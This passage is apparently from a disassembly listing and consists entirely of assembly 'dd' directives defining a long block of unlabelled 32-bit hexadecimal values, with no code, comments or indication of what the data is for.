		dd 0DA084188h, 8F3BCD07h, 0CECB1A67h, 88F1FE7h,	8E39FA01h
		dd 0C4BD2B3Fh, 0CDD07BCDh, 0B15C15BAh, 0F531BB38h, 42698A37h
		dd 2B15E38Fh, 8FC22EE1h, 5532D321h, 7ACC2723h, 0F712E1C3h
		dd 713F6AC7h, 0A5A98FB5h, 8C9628A3h, 97CCD7F2h,	936528Dh
		dd 0D357E70Ah, 0B3EBA90Dh, 5E5A785Bh, 0B80B7184h, 47BAD4DCh
		dd 0F5A9D786h, 283F00E7h, 0B4536A07h, 9A86AC43h, 4EEBAAAEh
		dd 0FEEF4999h, 3F41FC8Ch, 30E704C6h, 89B68A3Dh,	659F91BCh
		dd 2B87E89Bh, 585FED94h, 0CE43F3CBh, 0E95B6F8h,	118D50AFh
		dd 0A6F94341h, 2312F930h, 7855CCB8h, 371A6ED5h,	3C661CEDh
		dd 622EB969h, 78A4D86Bh, 4473D58Dh, 0E062760Ah,	2F8F7C49h
		dd 0CD680DC5h, 99028B1h, 0BB598C30h, 55C1FA5Dh,	5E8BFE9Eh
		dd 43B13E12h, 68C688E4h, 8666CD1Fh, 72A2A22Eh, 9837F2DCh
		dd 28FA0938h, 804E786Dh, 43D93A2h, 6C30CF45h, 4BC7AE50h
		dd 32BB06FCh, 0BC2C4C5Eh, 0AF812ED0h, 0BD3788BEh, 18A2D770h
		dd 0AD125B3h, 66C92303h, 67E4CB52h, 6F95A32Ch, 98863EDh
		dd 0BC427730h, 0A9376C1Fh, 4DB534F2h, 597040DBh, 0B000D72h
		dd 303A7BCBh, 0EC6BDEBBh, 0F5498A42h, 0F57FB520h, 4AC2B19Ah
		dd 0AB0B8D8Ah, 0E77CB739h, 29D14792h, 0B10245EEh, 0EF217F21h
		dd 63F84225h, 864283F0h, 78D8A88Eh, 0CA0C8E7Fh,	9B3ED586h
		dd 3E1001DAh, 9AA3EA26h
		dd 202689B9h, 0C1B6C6B5h, 8E3C79CEh, 1CE9717Fh,	0FAB0A5F3h
		dd 5910EA59h, 0F082717Ah, 63C7CF33h, 0ED095EDBh, 5225676Fh
		dd 0B572D9DEh, 0BC7D58E9h, 9DB911B5h, 0CCA418F9h, 51AC403Eh
		dd 6B494416h, 0E326114Ah, 1095C1A2h, 0E970AB0Ah, 1A903A06h
		dd 30A53BD5h, 0E56F6B7Bh, 93208411h, 0AABD086Bh, 0AD8977CCh
		dd 0D360313Ah, 1CD46AB0h, 3380F011h, 0AD15015Dh, 1C8D9537h
		dd 2E9BC519h, 0D93A8AD8h, 311B76C6h, 0A95662B8h, 9944B4ADh
		dd 0F3EC1BD6h, 19A37A5Ah, 38715A1Ah, 0FE8A551h,	0E4D58867h
		dd 0F2F903E7h, 5F533C88h, 56D80820h, 5FC7505Dh,	697B9160h
		dd 0B36C6F1Fh, 94A37DFBh, 0C568DAA5h, 5987DBBAh, 5CEAE40Fh
		dd 9B7AD59Ah, 449A6B42h, 5D752C5Eh, 0DB17ACB5h,	0B1F833DCh
		dd 0BB1D3683h, 6C468FA9h, 8C0E31BFh, 0AC5604DEh, 958E48CEh
		dd 0DFA43238h, 0AD98C1DDh, 6D8D77E8h, 54A5A942h, 0FAE4CAADh
		dd 0EF9994C2h, 0E5740D73h, 24011916h, 7ABD24B8h, 0F47941C6h
		dd 6BDC35F0h, 0FFDA8519h, 41DB949Eh, 0E21406DBh, 0F2DA8410h
		dd 380B49E2h, 311E94FEh, 415D78F2h, 0DFB6D1h, 67841FBFh
		dd 107098Eh, 0F1985BE2h, 5C93642Fh, 0A1BF7EC4h,	96264E0Eh
		dd 4A80B71Dh, 43EEF9EEh, 7472DCDFh, 0FFDE04E1h,	0F5CEDD0Ch
		dd 2A702D7Eh, 1F49A546h, 0D5F7F6A9h, 9E34AFAAh,	1FB2E820h
		dd 66EEF409h, 72E9DEA1h, 0EB49437Dh, 0C67E7955h, 5917BA24h
		dd 5CF83DAAh, 499F43D2h, 31B1910Fh, 17D7E1E3h, 0B61728F5h
		dd 65482D79h, 982A36F0h, 760341CEh, 0B5ACEAD3h,	94E2060Bh
		dd 9D5AAEC0h, 871FAE52h, 0ECE9793h, 869DC497h, 0C113DC9Dh
		dd 13F3EF51h, 3DE0520Ch, 0CB564715h, 95D92445h,	0AB707B00h
		dd 929D57BFh, 36986CC7h, 78C03726h, 1A597FF6h, 55195FB5h
		dd 55A862B0h, 83095700h, 33E7D9E0h, 54E7A90h, 84C3BAADh
		dd 442D3431h, 6161977Dh, 0C36220B0h, 9C521CB4h,	3C73F326h
		dd 97E2EE06h, 9982F0CAh, 75B60C91h, 4BD35ED6h, 0F8F2D696h
		dd 0E251BF3h, 18F9845Ch, 0D77ABE5Dh, 3DF26A0Eh,	0DC78117Ah
		dd 4842BD9Bh, 0E98CF87h, 1B395D0Ah, 19874A7Ah, 0EE274DE7h
		dd 16C12D97h, 48FE81B7h, 0A104113Dh, 8F3E72C3h,	0E15BF7FBh
		dd 2DFF380Fh, 6A298F49h, 1F33D34Bh, 4AB3321h, 210D06DEh
		dd 0E33595D8h, 0AA7DE73Eh, 0EC932EB2h, 0C1152B78h, 5FD4D56Fh
		dd 9B220F35h, 19EFC4D0h, 4AF33681h, 0E8C8D93Fh,	511D84E1h
		dd 24C2004Ah, 0C5C0AE38h, 4622651Dh, 0CB7AAD2h,	48F6C9B3h
		dd 0AF4C1023h, 849F1E28h, 0C19BF21Dh, 70F0B9EAh, 9BC7BC24h
		dd 329B0246h, 0D347F3E0h, 0F5242F32h, 7D30EA49h, 14496F2Bh
		dd 2E071F69h, 9E11A7A8h, 0AF7F682Fh, 84302B3Ch,	0D0FEB056h
		dd 2E98CB77h, 7B31DCB8h, 0F4AEDD61h, 5041C17Eh,	0A5E6CF8Eh
		dd 1135F345h, 4C3564B5h, 0AE9DF02Fh, 3BE389C7h,	0FB6CDF71h
		dd 1C0C63ABh, 0FE055AC2h, 0BAB0E892h, 8FE7882Bh, 40F7788h
		dd 0EFEE8462h, 0D45A9F68h, 352A8867h, 9DCA240Eh, 0D9EA9ABEh
		dd 0AC90CB6Eh, 0D967BC4Ah, 6408ADC5h, 34DD8733h, 56E6EE64h
		dd 0EF85D722h, 751EB783h, 805724B6h, 2158B2DCh,	952D69BDh
		dd 731AE9A8h, 84E8608Ah, 0AFB622BDh, 9F10C803h,	40DE7B31h
		dd 0D1E54C45h, 864362D2h, 0C0088EAh, 65319753h,	52CC4B10h
		dd 96307CBEh, 270DD11h,	0AF765323h, 0B36447BEh,	3BC47CF6h
		dd 883FBB85h, 8B36C048h, 2D7FD0C7h, 0B5B45813h,	0EAC00DB2h
		dd 5F80AA7h, 0AEB4C1A0h, 0FA9232E5h, 200A4DADh,	0F4BA4B8Bh
		dd 10DA2C36h, 0B47DB07Eh, 0A57FB168h, 9512F221h, 3FCA1794h
		dd 0A792BD7Fh, 0EC8C9276h, 0AE08E04Ah, 16810778h, 4370D02Bh
		dd 44EBA87Eh, 0C9FB8928h, 0CDB73F99h, 4F0AE961h, 7E8F15F7h
		dd 0AE829132h, 101B4EBDh, 0D71C1882h, 40FF8326h, 0AE54C222h
		dd 784872A9h, 0D989ED14h, 0C90B375Ch, 4BB9E76Ah, 0A93C7942h
		dd 0CEF2028Fh, 22978F53h, 0E319F777h, 4BE69F7Fh, 38BC7678h
		dd 89BDDF1Bh, 0A259D3C8h, 40FF84D1h, 0A730E335h, 0AF2004A7h
		dd 39C078Ch, 0E3147A49h, 1BD3EEDAh, 9F8ACD4Ah, 0BC894057h
		dd 34D3C842h, 0CEB4E9A9h, 6F707404h, 0FB30620Fh, 0EF0C4F04h
		dd 0E6929263h, 0EF13B56Ah, 9E22C808h, 9CA4CB59h, 5CC61FD9h
		dd 3A59DCE3h, 1032553Eh, 4AB6C9FFh, 8FC18A39h, 0EE70D1B7h
		dd 0E5709445h, 0F405EE19h, 0AA9A8194h, 3C4BDC8Fh, 4A1125CBh
		dd 0D1E6F83Ah, 45DB9119h, 4BBC10F3h, 0CB96AF6Ch, 0E35A9A31h
		dd 0B831A917h, 5033F306h, 5D47F060h, 1DD979FEh,	0F7C04289h
		dd 9E672B40h, 0E813AB56h, 825B3E44h, 9A5C7191h,	5359985Ch
		dd 0E59F6BCCh, 25DEDE18h, 0B5E6F21Bh, 0E520FBC1h, 2A2E8BA5h
		dd 0BC7C4F39h, 2F875051h, 98AAA9AFh, 0C5DFAF2Ah, 9AFB5CD5h
		dd 0E7623876h, 4E51CCAh, 1803985Ch, 7EFD2EEBh, 0B549A078h
		dd 0FF22CF0Bh, 0B29AE7ACh, 925C4C97h, 0BC78E3FFh, 92E7394Fh
		dd 404C4237h, 5C7B2C58h, 5CC741D6h, 0E3E75586h,	0A992C34Eh
		dd 5F2DBEAAh, 0B4B42BB9h, 748EAAB5h, 8624C1AEh,	7E6775FFh
		dd 0A644BAAEh, 672A8D97h, 541BC4A4h, 557274AEh,	0C6E10A9Ch
		dd 39CFA7FEh, 31EA3045h, 2181BBF2h, 977CF391h, 0E8A21D48h
		dd 14F5FC02h, 0E43EF731h, 80663847h, 29434A82h,	0CB4EC626h
		dd 7B767BB8h, 8C857AD9h, 427732CBh, 412F80F1h, 3A62BC13h
		dd 0D82C4C7Dh, 6D15F901h, 42161F55h, 71C1958Bh,	903E741Ch
		dd 63D3C2E7h, 0EE310E23h, 89CA2F71h, 0FDE54466h, 26556E49h
		dd 3C4B5450h, 40219180h, 0C042FA60h, 0B903D3A7h, 70D701FFh
		dd 5DBD1BB1h, 3B92E26h,	0CA1AEE2Dh, 4A697344h, 0B2B4189Dh
		dd 58988849h, 0E2220150h, 874A1329h, 59AC9104h,	0F6D7279Ch
		dd 7A9812D3h, 17D5FF63h, 3C58EC83h, 0FA488964h,	33B22EFBh
		dd 2B893EB0h, 29258Ch, 0FD82523Ch, 10425DF1h, 244AC94Bh
		dd 0D664609Dh, 9C82E40Dh, 0C0EE9BCFh, 23E7459Eh, 0F2070484h
		dd 59B4419Bh, 9B120AFDh, 0E89CE95h, 30A6AFD1h, 0A88D427Eh
		dd 74B4DA6h, 217F7245h,	0A7B7C480h, 0A802C07Ch,	3A2E535h
		dd 0B8CFA33h, 0CE6635EFh, 48B530A3h, 0EE2B5059h, 0F33C633Ah
		dd 0D66892DFh, 0A1E1DE1h, 0F30A7E53h, 29342583h, 7CFE9112h
		dd 8CC79098h, 780C433h,	0E0928904h, 66F8810Ch, 81C3954Eh
		dd 9DB558DDh, 4E514F37h, 1D45485Ch, 2082DB4Ah, 0CAC91F50h
		dd 750416CAh, 75A2F0B0h, 1AD6B436h, 0AA9C3AD0h,	0B28EFE34h
		dd 0CE824DA5h, 0A3410731h, 68CDA65Ah, 4DAF6882h, 0BE0F61E5h
		dd 3E7E7A5h, 0C7E21E66h, 8CFBD3Bh, 0CDF04F2Eh, 7786CEC5h
		dd 8A6494DEh, 2F2262F6h, 32E7BE79h, 859903AFh, 9EF682AFh
		dd 4489DECAh, 0A35C550Bh, 0BA1FE434h, 760039F1h, 86474CF3h
		dd 0FD9A766Dh, 67CA58A1h, 0D05E69F4h, 0F501F434h, 3FF0D62Eh
		dd 0DC53FEEEh, 4D9AD455h, 4A943C52h, 81B430CAh,	0D766E1B2h
		dd 0C7DB3E1Ch, 0A63E9502h, 544D145Fh, 971FBE6Ah, 62C022EEh
		dd 19F7F480h, 43C2E94Fh, 0B551143h, 0CA2B8E34h,	84A660D9h
		dd 0D27B879Fh, 678F9235h, 395C8962h, 8F21C089h,	9EE85EC2h
		dd 7E188F68h, 749FDB2Dh, 1E729934h, 0CAC7564Fh,	1DD1F6D2h
		dd 0C4EB122Ah, 325454B7h, 9C9F45F4h, 726A5E8Fh,	4C260F06h
		dd 12AE3563h, 18BB881h,	63706573h, 76251D7Bh, 69AD5282h
		dd 0AC1A6CC1h, 0BD60599Fh, 7B9D3C34h, 41D5BC0Fh, 490E6BD6h
		dd 0E6F09BF1h, 0B38447A4h
		dd 84AEF4D7h, 1A5866E2h, 0A20101DBh, 900DC332h,	0A677CC31h
		dd 75D7E6F2h, 0B3C8C2E9h, 35A8A15Bh, 0CF2D2635h, 0E946EC38h
		dd 0EE7FEA9Bh, 19D37282h, 0C03F19E5h, 65C5096Bh, 0CD0B560Ch
		dd 4E4D3911h, 0D1B90CF9h, 0AE0BD613h, 0E426AB5Dh, 75BB7291h
		dd 0A5490502h, 269776B3h, 2FAB5ECCh, 70AF01A6h,	83CEAD11h
		dd 0A5AE1C2Ah, 0F3D7340h, 29E0AA9Eh, 0BC366CD8h, 246A0D9h
		dd 92647F12h, 0FD6858BBh, 0BB7ED6CDh, 346C3031h, 0C8872577h
		dd 3214104Eh, 0F755F8Fh, 0F1B834B6h, 448FB2B0h,	0A8122673h
		dd 507B4F41h, 0DC999A0h, 21AF730Fh, 0E8214B7Eh,	126AD8CFh
		dd 0B2D001AEh, 84CC2C88h, 8D1EA934h, 0D0FD697Eh, 8E841FCAh
		dd 63B2CBBh, 62E1C659h,	871DA56Fh, 32E5D31Eh, 1D7F7260h
		dd 7BEC5CAh, 0DF6DAFD5h, 41011C94h, 0B74FDFD5h,	0E7FBBECAh
		dd 5F42EEE8h, 277D6785h, 5A26ECB3h, 8688BC34h, 0A78EF8ACh
		dd 0F871C5B0h, 43BFFA1Ah, 0C89BE654h, 0B6D0A5A9h, 666EC1DEh
		dd 0F724AB7Dh, 2111B0F5h, 0FE9F8C74h, 107A2BD4h, 7E16E189h
		dd 0B4880352h, 8983F3FDh, 0B720CDBAh, 472F8831h, 1E2C27E2h
		dd 9428A83Eh, 6D8E0EF6h, 2E8E246h, 0E018CDCBh, 6F56A5FFh
		dd 0AE3F2ADBh, 55F7AB7Dh, 0F79B67CFh, 0D476AAB0h, 650BFCF3h
		dd 0C69A3BF2h, 97B15D1Ch, 0B3A38CD6h, 0C3DF8CA9h, 30AB0FADh
		dd 0D0898739h, 2367DCBCh, 0D3D60710h, 0C26437ACh, 220262A1h
		dd 66E51BA3h, 7A156AB9h, 2DA75CF9h, 8A32D33Bh, 6FDD8314h
		dd 0E28CA303h, 6A017BFDh, 72A2A16Fh, 0A9ED2C21h, 18F6A138h
		dd 0F6884766h, 28501313h, 0EC6D9691h, 0A3B8DD9h, 380AD33Ch
		dd 7FB6E7CBh, 132C8707h, 0ADC52C7Dh, 3F50D9DFh,	876C27BEh
		dd 49D1D679h, 0D74E35D3h, 2F2EF3DFh, 0F386EA42h, 205A7EA5h
		dd 1972A4FEh, 884215D0h, 4D439198h, 569208B8h, 0CFCCA4CAh
		dd 0AADBDD21h, 102EF83Eh, 0A5B2C4CAh, 9A58A58Fh, 519FAFE9h
		dd 719BB271h, 39D26C5Ah, 0A20D8726h, 0D731E6F1h, 997EF338h
		dd 4F9E7BF1h, 8069D19Eh, 84C2910Ch, 0DFEE3E49h,	2E6ECF0Eh
		dd 0C48F6DCBh, 0A97C6200h, 780E763h, 0B8821096h, 8DB073Dh
		dd 6D9FFE63h, 9CFC529Dh, 51ED5A51h, 4A4690B3h, 7D893833h
		dd 0D341C6EFh, 3FC9E410h, 0A850B7EEh, 0AE9F3E05h, 95930A06h
		dd 0A0FD9F39h, 19F42050h, 1174BDACh, 72CD9F27h,	6E91D74Fh
		dd 0B4525D98h, 464DC875h, 0F68877A6h, 0ABAD9CEh, 0A08164E2h
		dd 0CBC90BC4h, 5A472B93h, 60D4A1D1h, 6BF5E03Fh,	66418D4Eh
		dd 44D78251h, 7DEC5466h, 3D14A28Bh, 0F7B40A77h,	0F144A500h
		dd 2BF33121h, 0AF59EBF0h, 82784F26h, 53A2079Bh,	0DA692EEh
		dd 1ACE0B88h, 0F01C44D2h, 2846C5D8h, 173D6276h,	1744B573h
		dd 0E51397A3h, 3E100851h, 0B0FA55B9h, 248ADDE1h, 0F6D6F052h
		dd 0ECB1EFDBh, 0EF760CF1h, 1D166686h, 153EB08Fh, 650061D0h
		dd 0B2037565h, 864D726Eh, 94EB56D6h, 0C004E38Ch, 8A25BADEh
		dd 108B5AC0h, 21CE2C0Ah, 5766CD94h, 32FF3BE7h, 0E1F42C24h
		dd 0D2F0153h, 0DDA76615h, 7FEA6138h, 0ADC654CFh, 65724D84h
		dd 195F1649h, 0C428601Dh, 318296E7h, 70D738F4h,	3F48C65Ah
		dd 0DC3CE858h, 503BF7E2h, 5763DB83h, 0A1CA6B53h, 0F15A67DDh
		dd 0D5A38D77h, 0CED474BFh, 0BDE66824h, 2CDB70DEh, 5C50EC59h
		dd 6664F993h, 6ED6E0C2h, 0E9864FC0h, 0BD0565AEh, 0B0F2F84Ch
		dd 18C7C117h, 0AAE4B3A7h, 0FBB37EF2h, 0F6EDE031h, 7149235Fh
		dd 9DA1EECDh, 0B1186C26h, 0A569B988h, 0ADAA07DBh, 0F5CCAFE6h
		dd 0DB1EA4Bh, 0BAFAB935h, 7DE1E0F5h, 0D14C408Fh, 291384Dh
		dd 73FC9215h, 1595C005h, 83823768h, 3731187Fh, 100BE2E8h
		dd 5029F221h, 2B8FC93Bh, 95A9C209h, 970AEFC1h, 7E79577Dh
		dd 9008B77Fh, 6DBE2053h, 0BF2FDC3Ch, 66367FA6h,	80CDA809h
		dd 0D3F14FE0h, 0D7AE6B4Eh, 34DEDCF8h, 0F82206E5h, 95D6F163h
		dd 2A0E8FBh, 5FD83E22h,	6E94BD32h, 0FB0FF881h, 0BE246295h
		dd 0FF0AA9B1h, 20E192D6h, 0F293753Dh, 0FD4C88E2h, 9ABCC00Ch
		dd 0F8F9F50Ah, 3405DAB8h, 0C7B6B435h, 0EAF975AFh, 0CBFECE63h
		dd 670B4B56h, 6EB4372Fh, 2867B877h, 0B9442BFAh,	50B38103h
		dd 83B043B7h, 62517D15h, 98EA4295h, 6A6EF38h, 0D46E7DE5h
		dd 0A501A425h, 0FD066CC1h, 0A96B931h, 68F19AF5h, 0B3048393h
		dd 4E4DF580h, 5A326673h, 0A9146F7Ah, 0E38EEBF7h, 0E4C512B1h
		dd 0AA33FFF4h, 76FEFAD9h, 0BC6A1E30h, 3110CD82h, 13CEE53Ah
		dd 964ECBDEh, 0E5B7DE8Dh, 0B317FFB5h, 0F62215C8h, 648C7798h
		dd 378ABB45h, 0A85D8545h, 50E29683h, 0AC6A5D7h,	1459657Bh
		dd 4254BC1Ch, 0FA50504h, 281DFFBEh, 0D572F9E0h,	8A55969Ch
		dd 8387CFF7h, 2670B152h, 506A5261h, 0FC5E3838h,	0E2D4E02Ah
		dd 3CA9AEEh, 0A5ECC9B7h, 6C5DD770h, 0A064959h, 0C5F5E62h
		dd 588B7CDEh, 0F01FE389h, 0F7DDB932h, 790C669Eh, 6CA22CABh
		dd 632A8498h, 7B30D82Eh, 9B4FC34Eh, 0A41EDBB7h,	270DFDC4h
		dd 40AE56B1h, 22406CC3h, 28F68D53h, 591F2F1Fh, 27BF6B8Bh
		dd 0C8E6475h, 82E181B6h, 28B7762Dh, 0FB7962DAh,	30FCE490h
		dd 0CADB069Ch, 24F38C0Dh, 8D725CCh, 2F46D355h, 0E45F6498h
		dd 0CF47C5C5h, 9926CC7Ah, 330453E4h, 437786E0h,	5185F1F5h
		dd 919CAF7h, 0A5F00B43h, 0A4050D95h, 0D1A5AC1h,	61C11131h
		dd 2A028D00h, 8A745A6h,	0F6D8C06Ch, 33E0E9Fh, 0D365D47Ah
		dd 0B88113h, 0BF0509C3h, 8E9782F6h, 2E3674C3h, 22F448EAh
		dd 0B835C2EAh, 3B7DAC2Ah, 455596C4h, 0D9DDC8C5h, 5E9437E6h
		dd 60EC10A9h, 8C3098D2h, 875929F5h, 0B6F40354h,	0CE43C4DEh
		dd 8E30F5F6h, 7F9B8918h, 33F59F0Bh, 50D6F084h, 8AEC50D1h
		dd 0AC6B8CCAh, 0CECBF0C1h, 51F4DB0Eh, 14406C63h, 18D18D19h
		dd 8DB15DE2h, 2801BB2Dh, 0A4019347h, 7284E5CBh,	8809A192h
		dd 82959133h, 0ED165553h, 33C27610h, 0BCA0F515h, 0CFC4746Ch
		dd 2D9C42A6h, 5EA5AE79h, 133C815Ah, 3E837F0Fh, 3D7F3B28h
		dd 0B4013380h, 56CF872Ch, 0AAFB1D15h, 0D80EEE7Ah, 0AC59654Dh
		dd 0CA91D8F5h, 0E4FCBC2h, 0DFD3DEFAh, 2289AE3Bh, 78EFCA6Dh
		dd 2A66480Ch, 41DF525Eh, 2987C52Fh, 40E095ACh, 0BFD80B45h
		dd 5324FABCh, 0E2F9F004h, 5EA10E29h, 0DF928B0h,	4344B589h
		dd 143D3B9Bh, 0EBE50FC2h, 2CA07B18h, 9E13AE82h,	0C6DB4871h
		dd 0E9A11C04h, 8D644022h, 0E3C03248h, 0A69A552Bh, 5D717761h
		dd 43097A11h, 65B39454h, 3B2E9180h, 0A3E64C8Dh,	8305AD7Ch
		dd 3322A926h, 7199168Fh, 568DD739h, 0E50429ACh,	878EF210h
		dd 39125026h, 93898D5Ah, 0E8706725h, 0ECE261CAh, 0E782FA77h
		dd 25DCED78h, 52E693Ah,	8979CF25h, 0A4FCB0E9h, 2AC505F1h
		dd 6DC45105h, 0B9017346h, 69C5D268h, 1E7B177Dh,	2139A91Bh
		dd 6A36ACC8h, 0BDAEA350h, 0BFD404AAh, 0CFB8257Eh, 193E845Ch
		dd 0A3E19966h, 898A2Dh,	3ACFE569h, 54E08020h, 0E7BAC03Fh
		dd 0B0DD56D2h, 0B799192h, 0F34D291Bh, 0CC4240A2h, 0EF929B02h
		dd 7D32F520h, 0A74D6308h, 76349DDDh, 81F9900Eh,	0A8E7057Ah
		dd 0B235089Ch, 40C52Dh,	0A38EA6B0h, 51C5E407h, 4D8C1723h
		dd 4DCA7D67h, 8AD42D4h,	5343D4BCh, 6289B755h, 0F2AAD8F9h
		dd 60524042h, 0CAC2034Fh, 61F97BF5h, 0B112ACFEh, 0ABBA7274h
		dd 0AEC6C6FDh, 2815EF71h, 0D769C30Ch, 0A29CB888h, 0FC4A2E06h
		dd 5CE0DCA4h, 8A506BB9h
		dd 77561F4Ah, 0AE61C7C4h, 7EA827F9h, 2F5067B8h,	4FFDE243h
		dd 0E8785837h, 9262406Ch, 7D069C7Ch, 4AD42255h,	2B0F0D8Ah
		dd 0C7C8FC6h, 75AE8D14h, 2828104Ch, 0EE480107h,	46928406h
		dd 5886573Fh, 0ED9B33B2h, 0ADC9B4EBh, 869BF58Dh, 3FE6A675h
		dd 294174BCh, 54CC19AAh, 0D68F6716h, 0EBBA2242h, 0C3184F4h
		dd 73EA0512h, 175276B2h, 9ED433FAh, 0FB7210B1h,	4A4633C2h
		dd 0AF0AB159h, 733CF7F3h, 9072D03Bh, 0AAD1D422h, 0FD7F863h
		dd 0A5872B53h, 4F3D7CE8h, 0C82DA529h, 0CB531CE5h, 0F3DF8B37h
		dd 94AE1FEh, 3509A100h,	4E44C627h, 0CD3F0600h, 28FEC242h
		dd 74B189BAh, 0F7404515h, 67511E74h, 621425FEh,	0C40B0620h
		dd 96986DCDh, 0ED8FBF14h, 22C4FDE3h, 8C87163Ch,	2E9DD87h
		dd 0FB9B5A31h, 0B2E35352h, 0D21158CBh, 0F69FC599h, 0B0FBF980h
		dd 7FBDC65Dh, 0C0772B93h, 0B75E0E54h, 42D10B82h, 0B506B8FBh
		dd 5A9F5C09h, 0D8F253F5h, 4B2E7370h, 4FB067FEh,	21667DA6h
		dd 5D95156Fh, 6B95A608h, 0BCCF7F7Ah, 0C909A9F6h, 2ED51521h
		dd 0DD48EEF9h, 0D4F2D75Fh, 8B6D6368h, 60AEFE7Eh, 58B5950Dh
		dd 78624091h, 0F3CCBA0Bh, 3F2376BDh, 3EDCF97h, 33CDB9C4h
		dd 0D9663054h, 99E8DE83h, 0B3543093h, 0F81B9DE1h, 6278733Ch
		dd 8AEC9A3h, 820729F8h,	0EC5FC994h, 347CDED1h, 0AB8F38FEh
		dd 60FC05ADh, 0B870049Ch, 0CFA90535h, 3CD40789h, 1284A331h
		dd 6F65E42h, 53DDE50Dh,	0CFEA0C63h, 2C3AAF83h, 93CAEC41h
		dd 6706698Fh, 0A0BFAECFh, 541A14CAh, 0DBAA201Eh, 92D690EDh
		dd 0FC9157CEh, 17061633h, 0C0738847h, 388BF3D5h, 0B3BB8FBCh
		dd 2608D705h, 0DAC8CDBAh, 82700A96h, 6B4EA325h,	0B8CEDE70h
		dd 0A3C75133h, 0E646549Eh, 0E0C2F82Dh, 0A161EFA0h, 0F5D2821Dh
		dd 0D387563Dh, 0A3C31ACFh, 0A440DC8Fh, 0E053B3A5h, 872D1FC1h
		dd 4B3574A2h, 0D68B0872h, 1168507Eh, 0DBDAF765h, 0E6B72AEDh
		dd 0A146F366h, 71409EA4h, 224A57B0h, 93301BCBh,	0C0698F24h
		dd 84CD1FE6h, 0CA725A6Dh, 1169B7A2h, 0FA9197AAh, 21A70F84h
		dd 0CE560FFCh, 2FA836CAh, 3AAF2F55h, 54BA7387h,	79E94A64h
		dd 57A3424Dh, 2A8E444Bh, 4109BDE7h, 1185F139h, 718F1875h
		dd 1B88F57h, 8D4C205Ch,	80A1001Eh, 2BC2B42Ch, 840AB31h
		dd 45B35348h, 0A7B1E3BBh, 0C57B87C7h, 697286FAh, 4A6C7D69h
		dd 46C2A131h, 72D3E455h, 873A658Ch, 0D8390766h,	47B95F35h
		dd 0F11C5D7Bh, 0BD1C16CEh, 3D3C0C24h, 3F85DA53h, 5DB2671Bh
		dd 7BF1C85Fh, 34825A06h, 0CFB669FAh, 83E58247h,	2E6F3E4Ah
		dd 9B39A0EBh, 29FF7737h, 770D0B05h, 109F85B1h, 513D3FDh
		dd 2E6496BCh, 0E369B548h, 0FF777CDh, 0B77D4417h, 2CC2B551h
		dd 14D516h, 5031EF2h, 58D2C2C8h, 44FEEC10h, 517FB114h
		dd 0DA723752h, 3713DF1h, 9F55D912h, 4D176C59h, 0AACD92B6h
		dd 97E45A91h, 9B0721F6h, 1F3CF6FEh, 5F9FDA0Ch, 36B8B69Ah
		dd 93E4CC4Ch, 0F35FE207h, 34B5A987h, 507EBD9Bh,	9F55A83Ch
		dd 129AFCF8h, 11C9C702h, 1BBFD840h, 1ED10288h, 4FB56B9Bh
		dd 49CFD3D8h, 5A212D47h, 10022C05h, 0FD92B03Dh,	0D028839Eh
		dd 6DD457A6h, 0BFD9693Ch, 65E25EA4h, 0C788F32Bh, 0B7D9BEFBh
		dd 0F9EF8669h, 234FC8C5h, 5C38DD16h, 0F66F76B6h, 0B8F1B656h
		dd 0DC1BD42Dh, 0DA3F605Ch, 77919A2Eh, 40074BA1h, 0C807BC84h
		dd 2336E7C8h, 4EBB4858h, 6584128h, 784BD478h, 0CF00F9A9h
		dd 18DB5B20h, 107EC230h, 0DDBD14FEh, 18F997F2h,	358FB74Ch
		dd 774CC4BBh, 517366EDh, 658EBDB0h, 53BB7BEFh, 0D9F9EEFh
		dd 19CCD5EBh, 0AB09A5BEh, 0F65A3BC4h, 9C8A15D6h, 7AE3B3DEh
		dd 6E2216D6h, 3E9B351Fh, 584E8B36h, 10A36D83h, 9A55803Ch
		dd 5A5040D2h, 7840BBDBh, 1D4B2243h, 22DA1F9Eh, 0FC07D464h
		dd 0A6010E12h, 1B488F9Eh, 15230710h, 0E263035Ch, 1C640F15h
		dd 4654B7E7h, 32C546Dh,	5E1CEA0Dh, 0B8C32D19h, 305EECC6h
		dd 8268C7BAh, 834F7102h, 93E3DC62h, 7A8FFDDAh, 0C3D60770h
		dd 4BE70555h, 44E0079h,	82588C81h, 0B5946B95h, 1B584FE5h
		dd 86FBB45Fh, 94039094h, 40DB4140h, 19E03A45h, 0BE6572DAh
		dd 0E28BED67h, 191B4959h, 98A56015h, 3C28F245h,	6165427h
		dd 0CE63BF99h, 0A8B5B312h, 0A249E7CEh, 38CC6848h, 78012806h
		dd 5A47184Ch, 8957F7A6h, 54FF254h, 41027AC2h, 0A2D8CE8Ah
		dd 0E0BC4EB9h, 1379D21Bh, 0FA476534h, 5311E24Bh, 9FC2AADDh
		dd 0E56D6884h, 0D4A34DB0h, 0AD7FA75Eh, 0D3BE4EDDh, 77981C47h
		dd 7E14DFEAh, 0EFB5D88Ch, 0D4F41950h, 85B7FE10h, 0FF4A3D7Eh
		dd 0B8DB6C6Ch, 8EA1DFCh, 0C97EC07Ch, 87CA57C5h,	0FEF96344h
		dd 727CD019h, 0C6844541h, 0FCCE1639h, 788EB2A6h, 0AA303076h
		dd 47AC2443h, 0DF092B1Fh, 102A685Ch, 2FA8C075h,	9429E71h
		dd 1DD9B8CFh, 0D44308ABh, 1B8FAE4Bh, 5586BCFAh,	4DC14B43h
		dd 0F2A19591h, 315ACDB5h, 0CB957EB5h, 9C958334h, 859997DAh
		dd 81CB6D46h, 4FDCF1ECh, 0E9110446h, 0EC248BE8h, 0F21CA813h
		dd 0F8D97E0Ah, 1B2AD72Dh, 708C5DB3h, 0A2CCA72Bh, 0B0E6E8B5h
		dd 0B671B09Eh, 8EF6DC0Ah, 41C0CBFBh, 82162FE9h,	0B60B7BC2h
		dd 0B5F76BF2h, 4E4B02C0h, 4CB298FCh, 0C4B7925Bh, 5CF11C28h
		dd 8053B9E1h, 13AA5949h, 910E4912h, 8750EE12h, 71236AD7h
		dd 0DB9DEF73h, 9360FE60h, 0D9EFEAC9h, 0E5688B8Ch, 5F18835Fh
		dd 5E649B3Bh, 12F2B09Eh, 51B8442Eh, 38FB6D56h, 5D84F648h
		dd 0BB0884E0h, 0D6E08DB5h, 3EB23275h, 0E1AAD3EAh, 733132FAh
		dd 6D8E4E08h, 782891A3h, 52E9BB9Dh, 0AF8CAC9Ch,	99822AC1h
		dd 94B4A551h, 578CB30Bh, 0E9247FCEh, 63730A1Ah,	0A5A4E69Eh
		dd 664447B6h, 1EF9C7E7h, 3A44320Eh, 444F45FBh, 1B8FC209h
